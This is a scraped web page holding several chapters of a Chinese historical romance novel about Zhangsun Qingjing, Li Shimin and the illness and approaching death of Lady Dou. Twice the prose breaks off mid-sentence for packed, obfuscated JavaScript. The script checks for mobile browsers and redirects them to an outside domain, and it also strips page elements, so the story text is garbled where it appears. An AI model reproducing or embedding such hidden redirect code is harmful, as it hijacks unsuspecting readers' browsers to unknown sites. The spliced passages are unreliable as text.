大家纷纷捡拾石块、粗树枝向上投掷,只可惜总是差一截。年轻的家生便飞奔回别业去取梯子。 几个婢女盘腿坐在地上干等。 “是我败兴了。路上来回又要耽搁几刻。不等他们了,我自己去取。”长孙青璟话音刚落,便踩着岩壁上突出的石块向上攀援。 几位婢女被这惊人之举吓到花容失色,苦劝长孙娘子从长计议,赶紧从那直上直下的嶂石上下来,不要吓到窦夫人。 长孙青璟却装聋作哑,一意孤行。 “噤声!谁都不准在岩壁下乱叫,等我把球抛下来再比试!”她恶作剧一般单手攀住一块突出的岩石,将自己身体荡出,在崖壁上移动了两三个人的位置。 确实再也没有奴婢敢大声劝告了。 41. 卷柏 窦夫人在远处见到此情此景,也猜到个大概。她并不惧怕,只是吩咐身边诸人:“长孙娘子既已自取寻那毛丸,必然之前也曾攀过这岩壁,不必担心。你们众人现在都聚到崖下,保护娘子周全,不准大呼小叫!” 众人依言而行,聚在一处,屏息凝神,随着长孙青璟的移动而在岩壁下变换位置。 长孙青璟终于逐渐靠近那分叉的松枝。 她一手握紧突出的石块,一手奋力去够松枝。不料无论她如何身姿辗转,终是与毛丸相距一掌。她俯瞰地面,家生们已经搬来梯子。李世民也不知何时出现在岩壁下。 她咬了咬下唇,一手解下椎髻上的红绸,一扬手,向毛丸与松枝抽打上去。毛丸向丫杈外侧轻轻一弹,便掉落下去。 众人也不敢轻易喝彩,只是依旧关注着长孙青璟下移的方向,护她平安落地。 长孙青璟得意一笑,抛掉红绸,准备原路返回到地面继续蹴鞠。 她的目光突然被岩壁上方一丛奇形怪状的枯草所吸引。这丛枯草的叶片紧紧蜷曲在一起,形成球状。根须松散可见,似乎只是吸附而不是扎根在岩壁上,轻轻一阵风就能将它吹下。 “卷柏!长生草!还魂草!”长孙青璟兴奋地叫了起来。 可惜这兴奋地大叫被消解在风中,于是岩壁下方的众人眼睁睁看着长孙青璟朝着更高处挪动,大家均困惑不解。 “难道长孙娘子准备干脆攀援至岩壁顶端,然后找缓坡下山。” “也不对,我看越是向上手脚便无处安放……” “看,她好像要摘什么草?” “菩萨保佑,可不要有闪失……” 众婢女窃窃私语,也不敢大声说话惊扰长孙娘子。 长孙青璟这次没有那么幸运,通往卷柏的路上突兀之处不多,也不够她放下整只鞋。 汗水湿透了她的前额,脖颈。高处的寒风掠过,她的全身又是一阵痉挛。 岩壁下众人只看到长孙青璟摘下灰暗的松果一类的东西,揣进怀中。 突然,长孙青璟脚下一滑,几块碎石落到岩壁下众人头上、肩上、脚下。 胆小的婢女吓得又哭又叫,被年长者捂住了眼睛和嘴巴。 长孙青璟被意外吓得心一沉,两脚脚尖缩至同一块峭石上。她深吸一口气,双腿酸软,指节苍白,努力隔绝地面上那些烦人的低低的啜泣声。 “一、二、三,落。”长孙青璟心中默念着,两脚先后稳稳落在稍低处的两处峭石上。汗水已经浸渍了她的整个发鬓与后背。 此时距离地面已经不远,地上众人却如临大敌一般,生怕她再有闪失。 长孙青璟轻蔑一笑,弯曲膝盖竭力一蹬,四肢离开岩壁,腾空跃下,在一片惊呼声中,擦过李世民伸出的双臂,稳稳落地。 “美人”自己脱离了险境,无用武之地的“英雄”自然有些尴尬。众婢女本以为历此一劫,娘子多半瘫倒在郎君怀中哭泣诉说情由,两人相拥感慨万千,感情弥笃。 ——合生戏里多半都是这么写的! 可这位长孙娘子只是扑了扑缺胯衫上沾染的尘土和枯枝败叶,说了声“谢”,便从李世民手中抽走了红绸,重新系在简单利落的椎髻上。 长孙青璟的纤细身形,与时下流行的刻意凸显宽肩的缺胯衫剪裁略显不符,但是这种轻微的缺陷又被灵活的眼珠,红润的脸颊,落入鬓发隙间枯草甚至鼻子附近几道淡淡的血痕巧妙地掩饰过去了。 “你又喝玉薤酒了吗?”李世民有些气愤地问道。 “蹴鞠前喝了一小杯。犯规吗?”长孙青璟从怀里掏出丑陋至极的还魂草,不以为然地说道,“看,毛丸一定是神仙们吹气架到松枝上去的,它助我找到了这个!今早的响卜应验了。长生——未已——多吉利!你看,那些山中的精灵异兽说话都是算数的。” 众人看到长孙青璟毫发无损地回到地上,心中都松了一口气。觉得哪怕主母要责罚众人,也不至于被打到伤筋动骨。 只是长孙娘子费劲心力摘下的那棵号称有长生不老奇效的仙草实在鄙陋不堪,活脱脱地是顽童恶作剧般抟揉在一起的枯草。 家生与婢女簇拥着年轻的夫妇回到窦夫人身边,窦夫人果真面有愠色,责怪众婢女与家生不好生看护长孙娘子。 “阿娘,毛丸是我自己踢到崖壁松树的丫杈上的。奴婢们也管不住我,与他们无关。”长孙青璟跑到窦夫人腰舆边,握着窦夫人冰凉的手,“你看我现在,手脚俱全,无甚大碍。就不要再责怪他们了。” 她求了一通情,窦夫人才答应不动家法。 “长孙娘子想个法子责罚,总不能纵容他们。”窦夫人又是卖人情又是考验儿媳。 “那不妨这样,在场每人回家后剪去一绺头发填充毛丸。”长孙青璟笑着说道,“阿娘,今日响卜,神仙显灵,指引我找到一株长生草。” 她说罢,吩咐婢女打一盆水,将卷柏没入盆中。 “毗提诃也来啦!”窦夫人开着玩笑,“你看,青璟玩得开心,我看着她们蹴鞠开心,下人们不被打不被罚月钱也都开心,就你一人板着脸,莫不是来将我和青璟捉拿回府的?” “儿子不敢。”那张因担忧而绷紧的脸努力舒展开来。 婢女们聚在一起对着铜盆指指点点,不乏惊异的笑声。 李世民坐在母亲另一侧,望着那棵在盆中转醒、复活、舒展,重获新生的卷柏,看到青璟脸颊上被石尖划出的血痕,笑道:“果真是长生草,母亲有福了。我该怎么谢你,观音婢?” “啊,你终于不生气了。既然我是龙女,那自然还缺一颗匹配的夜明珠。”大家都惊异地看着长孙青璟,听她会提什么报答的条件。 “我听说晋阳宫中藏有至宝玉龙子,温润精巧,不似人间所有。你将来就设法拿这个玉龙子谢我。” 窦夫人连同婢女们都笑出了声,觉得长孙青璟索取之物太过离奇,不是一般人所能办到的。 李世民也知长孙青璟与自己开玩笑,便认输道:“这比聂政刺杀韩傀更加匪夷所思,恐怕有些为难。我设法以后立下军功再为你向陛下索要这宝物。你现在换一件我能办到的事情。” 长孙青璟眨眨眼睛道:“也行。你这军功恐怕一年半载也立不了,不妨再等等。我就替换个答谢的法子。现在是冬天,无甚有趣的物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那不一定,图纸多半在宇文恺府上,不过我叔父可以去借来——那图纸到手之后,公子打算硬闯呢还是智取呢?” “等玉龙子到你手上之后,我自然告诉你。” 长孙青璟歪着头,认真地思考起玩笑的可行性,粲然一笑道:“好啊,我就信你这一回。许你三年时间履约。不准耍赖。阿娘为证!” 窦夫人就这样听着两个十多岁的孩子肆无忌惮地谋划着明争或者暗抢属于皇帝杨广的财宝,顺便还在言谈中一次又一次为自己这个将死之人延寿。 她比之前任何一次气疾发作时都更留恋这个世界。 “你二人如此覆窠无状,当心皇帝问罪。”窦夫人开着玩笑,身边皆是心腹,她说这话根本没有一丝畏惧。 往事浮上心头,窦夫人突然很想一吐为快:“不过你们再无状,也比我差一些。我九岁的时候,策划过杀人……” 长孙青璟被窦夫人的神秘计划逗乐了,忘记了下一局球赛,招呼阿彩取一个茵褥置于窦夫人腰舆之侧,跪坐着细听这番传奇往事。 “当然这个计划被我父亲神武公发现了,与其说是父亲制止了我的荒诞计划,不如说是我自己把计划扼杀于心——因为我与仇家的实力过于悬殊,以至于他都没发现暗处一直有个在心中对他挥刀相向的小娘子。” “后来呢,阿娘如愿以偿杀死仇人了吗?”青璟好奇地问道。 42. 隔世 “可惜了。”窦夫人眯起眼睛,“他在我动手之前死了,据说死于儿子的谋杀。唉,我本想如游侠般击杀重重侍卫,冲到那仇家之前,历数他的罪状,将他一刀致命。之后全身而退,毁容,自杀,名垂青史……” 长孙青璟赞许地“哇”了一声,揣测着怎样的知己与厚爱能令这位刚烈的夫人愿意以国士报之。 “很可惜,不再有手刃仇人的机会了。”窦夫人自嘲道,“这可不是一个快意恩仇的故事。在你们这些年轻人听来,多少有些扫兴。” 长孙青璟不得不承认,这个筹谋半生,却令仇人被儿子中道谋杀的故事有种荒谬,滑稽又遗憾的挫败感,比起右骁卫将军当年纵横草原,一箭双雕,将大小可汗玩弄于股掌之间孔武潇洒经历,这个故事隐忍过甚又跌宕不足,着实令人扼腕。 可是,到底是何方神圣能令唐国夫人痛恨到恨不能寝其皮,啖其肉的程度,而且持续不断地被痛恨了三十多年呢。 长孙青璟的脑子一时走进了死路。 而李世民在眺望远方时,眼睛似乎被一簇火苗点亮了。 “阿耶,是阿耶!”他指着远处高叫起来。 少年确实真诚地认为母亲与自己依旧得到父亲全身心的爱。父亲只是一时糊涂被侍妾的眼泪和蛊毒蒙蔽了双眼,竟然想给予万氏姊弟逾矩的厚遇。但是对母亲的爱重仍然使他毫不犹豫地选择母亲。 李世民并不掩饰见到父亲的欣喜,眼下的父亲与过去是没有分毫区别的。 远处并辔而来的两人中,着紫色缺骻常服年长者的正是李渊。而与他同行的皂衣年轻人便是属于长孙青璟的惊喜了。 “兄长——”她借来婢女的帔帛在空中招摇着,蹦跳着,恍若隔世。 窦夫人在腰舆上略略欠身,对于丈夫的到来并没有太多惊喜。 那些灵动的,青春的,离经叛道的光在她的眼中维持了一小段时间,然后泯灭在一阵突如其来的寒风中,取而代之的是刻板的,老成的,循规蹈矩的灰。 窦夫人下意识地颤抖了一下,浑脱帽檐下落了寸许。 长孙青璟突然回想起来,自从离开国公府,窦夫人跟她提起少女时代,提起父母,提起闺中好友,提起荒唐喜好,提起子女,甚至提起仇人。 而这些或者无忧无虑、或者满怀怨毒,或者踌躇满志,或者低调抑郁的时光里唯独没有丈夫的位置。 这难免有些尴尬。 长孙青璟随李世民拜见过父亲,便恢复了出嫁前的常态,像遇到故交的猞猁,顽皮地跑向——也许是撞向长孙无忌。 李渊夫妇宽容地笑着,这是近来他们难得的共识——新妇是一块有趣的璞玉,狰狞的顽石里藏着温润剔透的美玉,美玉中间生长着玫瑰火齐,总是令人难以指摘。 “兄长抱不动你了,你这头顽劣的猞猁。”长孙无忌松松地拍打妹妹的肩头,“怎么脸都磕伤了。” “我跟毗提诃打赌了。我从悬崖上取下长生草,他替我去晋阳宫取玉龙子。” “她居然还给我三年期限,时间挺宽裕的。”李世民说笑道,与长孙无忌相互揖过。 长孙无忌无奈地笑着向窦夫人行子侄大礼:“我母亲昨日就收到夫人的信札和香料,舍妹青璟蒙夫人照拂,母亲十分安心,嘱咐我拜见夫人时转告,青璟年幼,难免有失礼之处,夫人勿忘严加管教。” 说罢,他从怀中掏出母亲高氏的书信奉上。 今日的蹴鞠便到此为止。李渊夫妇嘱咐所有家仆收拾东西回别业。 李世民,长孙无忌,长孙青璟三人走在人群前,牵马的、扛抬器物的年轻家生紧跟其后。好像故意回避着儿子、新妇与新妇的兄长,唐国公夫妇故意远远地落在众人身后。李世民看不清父母只是简单地并行,还是已经和好如初。 他时不时透过人群张望,关注着父母的一言一行 长孙青璟握着长孙无忌的手不忍松开:“大家都还好吗?我走后母亲有没有暗自哭泣?外祖母现在由谁照顾?舅母身体如何?你何时娶亲?” 她的兄长笑道:“你才出嫁几日?家中会有多大变化?亏你成天胡思乱想。有个好消息要告诉你,舅父南去时路遇购书回京的穆先生,两人一起喝酒长谈。舅父托穆先生给我们捎回了信,他还在江陵滞留,不过身体安好。穆先生好不容易找到我们的新宅,难得他一介商贾虽说有些偷奸耍滑地毛病,对知己却怀有古道热肠,也为舅父被贬谪一事愤愤不平。对了,穆先生还特意问起小高公子现在何处——” 说起长孙青璟女扮男装时冒名的小高公子,三人不约而同笑出声。 “你告诉他真相了吗?”长孙青璟问道,“他知晓小高公子原是一介女流时,会不会很惊奇?” “没有,我告诉穆先生舅父一走,小高公子便去龙门拜师了。他误以为你投入王通门下,还问起有没有多带几个部曲护送,龙门不太平。除非观音婢允许,否则我会一直保守秘密。”长孙无忌很认真地答道,“穆先生还等着小高公子从龙门学成归来后陪他喝酒呢!我怎么忍心道出真相伤害他一片赤诚之心……” 长孙青璟听得专注,不禁沉浸入遐思中,自言自语道:“可惜小高公子近来有几桩要紧的家事要处置,恐怕要辜负穆先生一片心意……” 兄妹二人不禁望向很少插上一两句话,大多数时候都沉默寡言的李世民。他眼窝深陷,眼中一贯的快乐的豁达的光芒暗淡了,取而代之的是烦躁与不安。 李世民时不时回头确认父母有没有如往常争执之后一样和好。他当然希望父亲先低头,但是也不愿意母亲太过执拗。 “毘提诃你脸色不太好。”长孙无忌不无担忧地说道。 “他一直在照顾母亲,不眠不休;母亲为了我们婚事顺利,一直对他有所隐瞒;他心中愧疚,便加倍弥补。”长孙青璟替丈夫回答。 “唐国夫人的病,我一路听唐国公说了一些。我受母亲嘱托亲自拜访窦夫人,路上巧遇国公。他很忧虑,想用点‘敕勒之术’,又怕夫人厌恶,一时觉得无计可施。” 三人一路走一路叹息。长孙无忌突然对妹妹说道:“观音婢,你也记得孝顺窦夫人。窦夫人的来信令母亲很动容——她是知道你所有脾气秉性后依然疼爱你的人。” “无忌,你转告高夫人,观音婢很好。我们全家无有不满。我母亲尤其喜爱她,婆媳二人只恨未能更早相见。医生也劝解我全家处事一定令母亲身心愉悦,顺着她性子。观音婢 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“说得也是——”长孙无忌恍然大悟。 一行人回到别业,窦夫人勉强在厅堂内与李渊一道陪着长孙无忌聊了三盏茶的功夫。 长孙青璟觉得窦夫人此举纯粹是出于对高夫人的敬重与对自己这个新妇的疼爱,不愿让高氏、长孙氏诸亲对自己婚后生活是否完满心生疑窦。 长孙青璟心生不忍,便主动提醒窦夫人回寝室休息。 “长孙公子此番回去勿忘告诉你母亲高夫人。这小娘子,我样样满意。唯独一事令我不满。”每个人都听出窦夫人满口欣慰,佯装发怒,便微笑着洗耳恭听。 窦夫人欠身道:“她才嫁入李家几日,行事却越来越像毗提诃,总是喜欢对母亲横加约束,蛮不讲理。无忌,你评评理!” “好,我一定告诉母亲。”长孙无忌拱手笑道。 李世民喊冤道:“上天为证,儿子今日可是连一句责备母亲不该出门走动的话都没有。” 众人都劝窦夫人还是受这“蛮不讲理”的小娘子约束为好。窦夫人不再执着于待客之道,接受了儿媳的请安高,由长孙青璟与另外的健硕婢女搀扶回寝室休息。 长孙青璟多么希望今天响卜之后产生的一系列神异预兆、窦夫人转好的精神都不是凭空产生的幻觉。那不是昙花一现,不是长虹饮涧,而是可以日久月深地维持下去的未来。 李渊在妻子回寝室暂歇后松了一口气,避免了在长孙兄妹面前尴尬的处境。 唐国公自从被次子传话在窦夫人与万氏之间二选一之后,总觉得旋即低头与这对在他看来恃宠而骄的母子相聚有些不自在。 遣走万宣道后,他在大兴府中延宕了一日,也甚觉不妥。不巧又收到万氏从河东寄来的书信,求请来大兴侍奉主母。他本来觉得在明丽聪慧的正室之外又添一朵温顺逢迎的解语花简直是人间幸事,不料万氏这封急于来大兴邀宠的书信败坏了自己一贯温婉可人的小家碧玉形象,令他心生厌恶。 踌躇再三后,优柔寡断的唐国公还是选择回到贤妻爱子身边。 他这辈子作出正确选择的时候不多,这算是一次。 43. 托付 为了避免与儿子相见的尴尬,李渊热情洋溢地挽留长孙无忌与自己共进晚餐。 没有娘子们在场,三人便没了顾忌,肆意聊起各地风起云涌抢占粮仓的群盗,人人自危的洛阳官场,永不休歇的徭役赋税以及皇帝新一轮的北巡计划。 正说到入港之处,长孙青璟亲自来请长孙无忌去窦夫人处说话,李渊与李世民俱是不解。长孙无忌也觉得自己一个外男出入卧内甚为不妥。 “想来阿娘还有一些要紧事需要兄长转告母亲。她身体抱恙,不便再来厅堂。恳请兄长权变。”长孙青璟的解释也不无道理。加上李渊也在一旁催促,长孙无忌便依言随她同去。 窦夫人的卧内方才又被收拾一新,有种唯恐待客不周的刻意修饰。 熏球内飘散的味道巧妙的掩盖了汤药味,尽管这汤药聊胜于无。为了家人放心,窦夫人仍旧勉为其难地按时服用。 此时窦夫人着厚襦袄,发髻纹丝不乱,正襟危坐于屏风之内,并不是长孙无忌之前所设想的几近没有尊严的病容。 “无忌,你不必拘礼,可将我当成叔伯的妻子。”窦夫人觉得有些失言,便更正道,“把我当成你母亲的姊妹就可以了。” 长孙无忌跽坐于屏风之前施礼:“某聆听夫人训诲。” “青璟,你替母亲撤去屏风。其余婢子出去,合上户牖,在外侍候,尤其不许二郎进来。”屏却诸人之后,窦夫人对长孙兄妹道:“青璟,你就坐在阿娘身边;无忌,离老妇近些。我自觉大渐将至,故有要事相托……” 长孙青璟眼眶一红,泪珠瞬时涌了出来。她不敢放声痛哭,只能人为地将彻骨的哭号压回胸腔之中,取而代之的是永无止境的抽噎与痉挛。 窦夫人伸出臂弯,环住长孙青璟剧烈起伏的双肩:“孩子,不哭。阿娘为了一己之私,想在有生之年看到毗提诃成家,不惜让你们婚期之后即是孝期,实在是对不住你。” 剧烈的悲伤与抽搐使得长孙青璟的咽喉被扼住般难受,出了拼命摇头否认,她已经吐不出半个反驳的字词。 长孙无忌鼻尖一酸,代替妹妹解释道:“夫人这是什么见外的话?千万不要再自责了。我兄妹被异母兄长逐出家门,本已如丧家之犬。我蒙毗提诃器重,结为刎颈之交;舍妹又蒙夫人爱重,为夫人爱子执箕帚。此生无憾……” 长孙无忌说罢便郑重稽首下拜。 窦夫人微微颔首,表示感激:“既然你兄妹如此通情达理,我就觍颜相求,将我的爱子李世民托付于你二人。” 兄妹二人俱是惊诧不已,唯恐自己并非珠玉,辜负窦夫人之托。但是窦夫人言辞恳切,二人均不忍拂窦夫人之意,便爽快应承下来。 “夫人有心事,但说无妨。无忌万死不辞。”长孙无忌人生中第一次不是被托付给他人,而是受人之托,不禁有一种奇异的、被依赖的、义不容辞的责任感,他对眼前的这位国公夫人产生了近乎知音般的感激之情。 他当然知道承诺的分量,他仍然决定去履行这份责任。 长孙青璟猛吸一口空气,将所有的恐惧、担忧、伤感压至心底。她不能被这些愁绪压垮! 她狠狠地掐了手背,调整好呼吸吐纳,擦干眼泪,膝行至窦夫人身侧。长孙青璟用自己的左边半个身体抵住窦夫人的右肩头,以免她情绪激动时咳喘或昏厥。 “阿娘,你说,我都记下。” 窦夫人挤出一丝笑容,缓缓说道:“世民自幼聪睿过人,临机果断,素有大志。但是他性子急躁慨暴,总是令我心不得安。刚者易折,柔则长存。我若长辞,你们一定要多宽慰他不要思虑成疾;他日若大志一时无法伸张,你们也要勉力劝说他不要郁愤难平,一定要懂得刚柔并济,静待其变……” 窦夫人的情绪激动,似乎把潜藏在心底多年的担忧全部倾吐殆尽,一阵突如其来的窒息感引发了强烈的痉挛,长孙兄妹甚至听到了牙齿撞击的声音。“我了解他的为人,他此生定不会负你们的……你们……你们千万不要抛下他一人啊!青璟,无忌你们快答应我。” “阿娘,我一定照你说的做。”长孙青璟从窦夫人身后撑住这个虚弱的、忧虑着儿子未来的母亲,泣不成声。 “夫人放心,无忌也定不负夫人之托。”长孙无忌没有别的办法来更好地缓解这位慈母的满腔担忧与留恋,只得长揖不起,表示最大的诚意。 “老天待我们母子不薄。”窦夫人眼眶红肿,“这些不情之请实在是难为你们了。还有,千万不要告诉世民我们的约定。在他心中,此生只有他照顾别人的道理,哪有别人照顾他的怪事。”窦夫人一想到李世民故作老成的样子,禁不住含泪而笑。 “青璟,我放心了;无忌,归家之后,你一定代我多感谢你母亲。只可惜我不再有机会亲自登临高府……” 一切尘埃落定,郁积在窦夫人胸中多日的心结终于打开。 她长长舒了一口气,闭上眼,倚在长孙青璟的肩头,发出均匀的和缓的鼻息声。 长孙无忌辞拜而去,正巧在窦夫人寝室外遇到被婢女阻拦而被迫等待的好友。 “叨扰了,告辞。”他轻轻拍打李世民的肩头,仰起脸,趣步远去,想把眼泪憋回心中。 入夜时分,终南山断断续续飘起了雪。 一开始,只是零碎的、干燥的盐粒;须臾间,便是漫天飞舞的柳絮。 这些碎玉琼花再造了一个世界,把一切黑暗、棱角涂抹得光亮圆润。 婢女为烘瓶重添了炭火,李世民与长孙青璟陪伴着熟睡的窦夫人。 “我听到了簌簌的声音。”窦夫人好像得到了某种预示,从梦中警醒。她忍不住支起身体。 “阿娘,下雪了。”长孙青璟试了试手炉的温度,将其放在窦夫人手边。 “你们不出去看看雪吗?”窦夫人笑道,“毗提诃出生时也是这样的雪天。我倒是想看看——毗提诃,不要这样看着我。你把窗户打开一条缝,我在屋里看。青璟,把你丈夫拽出去赏雪,他最近情绪不佳,都不会笑了。我很不喜欢他这个样子……快拉他出去!” 长孙青璟将李世民生拉硬拽到中庭的腊梅树下,年轻的婢女们也开始聚集到中庭,仰头观落雪,兴奋地指指点点。雪纷纷洒洒,如飞絮剪玉。 只有李世民一人愣怔无措地站在树下,与周围的人与雪格格不入。长孙青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068448|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璟偷偷猫到他身后,踮脚拉下一根梅枝,将积聚了多时的碎玉琼花全部被倾倒在他发丝间,颈项中,两肩上。 李世民皱眉,准备掸去头上雪花。长孙青璟突然跃到他面前:“等等别掸,让我看看你五十岁之后的模样!” “促狭!”他两手放在身侧,静静地站着,任长孙青璟看个够。 直到眼神瞥到妻子头顶那根快被雪压弯的梅枝,李世民突发奇想,便伸手去够。 长孙青璟知道李世民也想如法炮制这恶作剧,便紧紧闭上眼睛,蜷缩脖子等待初雪压顶。 “吓唬你的!”长孙青璟额上被轻轻点了一下,“我才不要看你老了以后的模样。” “哼!” 这一幕正好被在寝室中赏雪的窦夫人看到。 “二郎与长孙娘子很般配。”李渊不知何时来到窦夫人病榻前,他轻柔地坐在妻子身边,握住她枯瘦的手,“看着他们,也不禁想起自己的年少往事吧?” 有一点,但是往事里没有你。窦夫人想道。 她的手在他掌下颤抖了一下,没有抽离。 在大去之期将近之时,她决定和解——与自己未竟的复仇计划和解,与对平庸丈夫的厚望和解,与儿子希望父母恩爱如初的执念和解。 “你说,中使现在到哪里了呢?”这是自从李渊来到翠微别业后,妻子主动谈起的第一个话题。 对于李渊来说,妻子与他和解的目的不重要,和解就是和解,原谅也不会分门别类。 “什么中使?”李渊问道。 “传达新的诏令的那位中使。也许慎重一些,应该是中书省的舍人?”窦夫人若有所思地说道,“我在想,皇帝实在也无人可用,对你试探了大半辈子之后也该收手了。你猜,这次是任命你为右骁卫将军呢还是山西慰抚大使呢?” “我何德何能——不过,也未可知。”李渊怀着不可置信的期待承诺着,“若是如夫人所言,我必然带着夫人与二郎夫妇一同上任。夫人足智多谋,可为我将宦海中的风浪消弭于无形。上天若垂怜,不忍我一生蹉跎,定然也会令夫人痊愈。” 他的期待是圆满的,承诺也发自肺腑,只是这次他的运气也许没那么好。 “毗提诃,我知道你在屏风后偷听。”窦夫人艰难地提高了一点声音,“你和青璟到我身边来。” “东都有好消息吗?”李世民绕过屏风,兴奋地坐在父母身边,“我们没偷听,外面风大,我们只能躲进来了。” 窦夫人招呼儿子更近前一点:“你明日再去为我办妥最后几件事。”她看了长孙青璟一眼,“你去时,由青璟照顾我就够了。” 李渊、李世民、长孙青璟听闻“最后”二字,不由胆战心惊,一时无法面对窦夫人已经预感到的大渐之期。 “你去趟孝陵,代我祭拜舅父,告诉他纥豆陵娘子终于要与他团聚了。回程之时,去大兴把兄弟姊妹都叫到别业来……明早无需请安,晨钟响前就出发……” “阿娘……”李世民一时语塞。 “风饕雪虐,来去小心。”慈爱的母亲叮嘱道。 一切都已就绪,只待命运的飓风带走一切。 44. 伤逝 长孙青璟在病榻前从更定时刻一直守到子时。那时她应该是全然清醒的,可以应对窦夫人的每一个侧身挣扎、每一个眼神流转的指示的。 那些无尽的咳嗽、喘息、在胸腔之中积聚的浊气都是加诸长孙青璟的酷刑,使得她产生了奇异的痛苦的共情——有一双无形的手撕扯着她的每一寸肌肤腠理,企图将她的心肺全部掏出,令她痛苦到战栗。 她与这种罕见的共情抗争了许久,终于在窦夫人难得的意识清醒的瞬间,她的薄弱的、被痛苦把控的意志如蜕皮的游蛇般从摧心剖肝的磨折编织的旧壳中挣脱出来—— “青璟,观音婢?”窦夫人向模糊的人影处伸出了冰凉的手。 “阿娘,是我。”长孙青璟把窦夫人枯槁苍白的手掌按在自己脸颊上。她多希望分一半温暖和生机给这个垂死的妇人——并非因为那是拯救者的母亲,而是因为她本身就是救赎者的一部分,是看懂自己的人。 “阿娘和你差一点缘分啊。” 长孙青璟将嘴唇咬出了血,这种真实的疼痛与血腥终于压制了虚妄的苦痛,阻止她放声哭泣。 “孩子,你不要忘记我们的约定……”病人枯瘦的手指在少女脸上轻轻摩挲着,生怕一个稍微粗重的按压就会给光滑细腻的荆山玉留下瑕疵。 “阿娘放心,我不敢忘。”长孙青璟起身,离窦夫人更近了一些,又俯身以自己饱满温热的前额紧贴窦夫人冰凉的额头。 窦夫人露出一个感激的释然的笑容,随即安心地闭眼小憩…… 长孙青璟没有抽离握紧窦夫人的手,她觉得自己可以承担起窦夫人的痛苦,希望上天能把这种折磨转嫁到自己身上。 奇怪的是,当她变得如可以如褪去旧皮的游蛇般决意替人分担这苦痛时,奇怪的共情消失了。冷静与自制再次回到了长孙青璟的体内。 子夜将近,她觉眼皮沉重,灯擎下的鎏金少女跪坐像也变得模糊与柔情起来,与眼前疲惫的娘子一起发出均匀的鼻息声。 清漏频移,单调的声音有一种催眠安神的奇效。长孙青璟猜测自己进入了梦境中。 烛火摇曳,人影憧憧,空气里带着点新雪与腊梅混合的味道。苜蓿香翩然而至,如一团紫色的烟雾裹挟着她,不知去往何处。 长孙青璟从自己榻上醒来的时候,卯时已过半。她不记得自己是怎么从窦夫人的病榻前回到自己房间里的。 烘瓶中炭火将尽,衾枕尚有余温,另一边的被褥是整齐的,冰凉的。 恐惧感开始周身蔓延,她从一个梦境跌入另一个梦境——眼前是翔集的鹰隼,阴沉的天空,跪在病榻前面目并不清晰的男女老少。 无数人告诉过她生老病死是人生常态,但是她害怕重复八岁时别离的噩梦。 窗外沉重的落地声将她惊出了一身冷汗! 她趿履跑至廊下,除了不明所以跟上前来为她披上襦袄的婢女,却不见那么大动静的来处。 雪已经停了,将残冬凝固在一个白色琉璃覆盖的的世界里。眼前的丫杈一阵抖动,银条上的积雪纷纷成块抖落,发出喑哑的簌簌声。几只失去了巢窠、抱团取暖的老鸦并排站在腊梅树的缝隙中,直勾勾地盯着长孙青璟,嘲弄而又忧伤。 山间的精灵果然是恶作剧的高手。响卜的结局不啻一场骗局。她的诚心与祷告不过换来半日的祥和。 蓝灰的天上,几颗蒙尘的星子半死不活地漂浮着。冬日的风声可以毫不费力地将它们抹去。 长孙青璟听到了马厩的响动。 她奋力地在雪地里跑动。雪积了约莫三四寸厚,不至于让人陷进去也足以使人看不清覆雪之下的碎石、枯草与藤蔓。 她的鞋子与裙摆粘上了细雪,湿透了,冰水的凉意顺着脚髁蔓延到小腿。 寒冷与麻木使得她的脚底不受控地打滑,将她抛出几人远。长孙青璟难堪地落地,但是反弹的速度依旧超过了婢女们追赶。 她听到了马的嘶鸣。李世民在那里。 “毘提诃!”她的丈夫依照与母亲之前的约定,挽辔欲行。 长孙青璟想恳求同去孝陵。她的恻隐与善良、热情与生机并不足以压制死亡将至所带来的恐惧。 这个企图出逃的少女抓住了缰绳。受惊的白蹄乌差一点踹到惊慌失措的女主人。 “观音婢,你从屋里跑出来作甚?”李世民惊讶于计划外地突兀,“昨天母亲都交代好了,你照做就可以……” “我……很害怕……”她的手指冻结在缰绳上。她希望李世民可以带着她逃离自己无法承受的酷刑。 眼前密布浓稠的彤云、漂浮黯淡的星子,一切都试图把她拖进通往八岁噩梦的起点。 雪地的寒凉继续沿着脚髁、小腿上升至胸口。她瑟缩着,满脸写着萎靡与困顿。 马上的少年愣怔了须臾,收敛起错愕与烦躁,伸手轻轻覆住长孙青璟留有室内余温的脸颊。 “等我去孝陵祭拜,叫上兄弟姊妹一起回来。”他将她摔倒时被雪沾湿紧贴额头的一绺散发拂至耳后,“山间的精灵也不得不对你的响卜所有应答,你无须害怕。” 从脸颊开始向下传导的热量终于抵御住了封锁心胸的寒气。长孙青璟终于把那些丧气话连同困顿都硬生生吞了回去。 “是啊,你说的有理……”她松开了抓紧的缰绳,简单梳理了一下马鬃,后退几步,为一人一骑让出道来。 “阿娘性情坚毅,定会等你回音,定会等子女齐聚。我定会寸步不离地照看她——二郎,你放心前去。我不会再像这般心灰意懒……”她久久伫立在雪地中,丝缕可见的日光为她涂抹上一层明亮的釉色,眼眸中映出策马离去的身影。 其实,当长孙青璟说出“你放心前去”的言辞时,心中是忐忑不安的。 一回头,失去窠巢的乌鸦依旧用冷峻的目光看着她。她与它们对视良久,终于,这个看似温婉有节的女子俯身抓起一把雪,揉搓成团,恶狠狠地向这些报丧的恶鸟砸去! ——她就像个最凶神恶煞的山野村妇!母亲高氏一定会这么说她。那又如何?哪怕变成一条喷着毒烟的恶龙又如何? 这几只相拥取暖的乌鸦终于在她的驱赶下,拍打着翅膀离开了树枝的丫杈。树上的雪扑簌簌地落下,好像被人恶意地摇晃过一般。 寝室中,死亡开始无限地逼近这个早慧的、深谋远虑的、野心勃勃的中年妇人。 